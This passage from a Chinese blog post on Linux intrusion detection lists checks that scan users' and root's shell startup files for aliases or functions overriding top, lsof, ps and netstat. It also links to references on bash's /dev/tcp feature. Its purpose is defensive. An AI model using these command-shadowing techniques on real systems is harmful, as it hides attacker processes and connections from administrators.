3. 遍历所有用户的/home/$user$/.bashrc、/home/$user$/.bash_profile,查找是否存在敏感关键字: 
    1) alias top=..
    2) alias lsof=..
    3) function ps()..
    4) function netstat()..
    5) function lsof()..
    6) function top()..
4. 查找/root/.bashrc、/root/.bash_profile、/etc/profile是否存在敏感关键字: 
    1) alias top=..
    2) alias lsof=..
    3) function ps()..
    4) function netstat()..
    5) function lsof()..
    6) function top()..

Relevant Link:

http://tldp.org/LDP/abs/html/devref1.html#DEVTCP
http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
http://blog.csdn.net/zhjutao/article/details/8622751
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

 

 

 
posted @ 2015-03-08 16:47  郑瀚Andrew  阅读(1511)  评论(0编辑  收藏  举报